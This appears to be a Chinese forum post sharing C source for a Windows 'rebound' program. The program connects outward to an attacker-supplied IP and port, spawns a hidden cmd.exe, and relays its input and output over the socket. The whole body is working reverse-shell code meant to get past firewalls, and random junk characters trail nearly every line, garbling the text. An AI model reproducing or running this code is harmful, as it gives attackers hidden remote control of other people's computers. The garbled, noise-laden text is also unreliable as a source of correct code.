这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5!<o-{J[(=
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/* ============================== aIQOs
Rebound port in Windows NT ;U
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By wind,2006/7 e[s5N:IUd3
===============================*/ Z*9L'd"D|
#include 0[.3Es:_
#include 8GY.){d!l
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#pragma comment(lib,"wsock32.lib") 7krh4
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void OutputShell(); |Z
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SOCKET sClient; h9)RJSF4
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F@9Y\. ,
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void main(int argc,char **argv) d5Qd'
{ -)X{n?i
WSADATA stWsaData; w5,6$#
int nRet; H-185]7
SOCKADDR_IN stSaiClient,stSaiServer; JfkTw~'R
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if(argc != 3) M2dmG<
{ q?yMa9ZZky
printf("Useage:\n\rRebound DestIP DestPort\n"); WJAYM2
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return; ^+M><jE9
} }?J~P%HpF
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WSAStartup(MAKEWORD(2,2),&stWsaData); |ixGY^3;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ss 2$n
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stSaiClient.sin_family = AF_INET; ^PC\E}
stSaiClient.sin_port = htons(0); xo(k?+P>.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l2(.>-#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wk@yTTnb
{ ;|6FdU
printf("Bind Socket Failed!\n"); 2hy NVG&$
return; sYW[O"oNi
} [7RheXO<
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stSaiServer.sin_family = AF_INET; FRgLlp8x
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {EL'd!v7e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -Un=TX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N#UXP5C(
{ b_vVB`>
printf("Connect Error!"); P% Q@9kO>
return; t=i/xG: 5
} qC..\{z
OutputShell(); V}SyD(8~
} ?ql2wWsQO
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void OutputShell() l
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{ Z:|9N/>T
char szBuff[1024]; v
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SECURITY_ATTRIBUTES stSecurityAttributes; S*g`d;8gV
OSVERSIONINFO stOsversionInfo; 8)Zk24:])_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #X5hSw;
STARTUPINFO stStartupInfo; xor TL8
char *szShell; T/5"}P`
PROCESS_INFORMATION stProcessInformation; <raG07{!*
unsigned long lBytesRead; y:,9I`aW
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Mn@$;\:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U@?6*,b(.
stSecurityAttributes.lpSecurityDescriptor = 0; "5}%"-#
stSecurityAttributes.bInheritHandle = TRUE; +2Ql~w@$^l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E=kw)<X2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 88g47>{X
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); FCiq?@
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IA2GUnUhu
stStartupInfo.wShowWindow = SW_HIDE; b=1%pX_
stStartupInfo.hStdInput = hReadPipe; z,x"a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1ef'7a7e8
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GetVersionEx(&stOsversionInfo); q@kOTkHv)
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switch(stOsversionInfo.dwPlatformId) "yW&<7u1
{ SX+4HJB
case 1: % $TEDr!
szShell = "command.com"; #Qd'+M
break; k"
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default: !| xZ6KV
szShell = "cmd.exe"; j{;|g%5t
break; )* TF"
} 9U^$.Lb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W2eAhz&
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send(sClient,szMsg,77,0); sofu
while(1) kaQ2A
{ 9tk" :ld
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .45^=2NGmQ
if(lBytesRead) G52Z)^
{ ErDL^M-`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); LeHiT>aX!
send(sClient,szBuff,lBytesRead,0); @]=f?+y[ 2
}
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else '9J*6uXf.
{ 6^E`Sa!s
lBytesRead=recv(sClient,szBuff,1024,0); o@/xPo|
if(lBytesRead<=0) break; w<t,j~ Pr#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DMd ,8W7a
} .GCR!V
} ?4G(N=/&
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return; n3ZAF'
}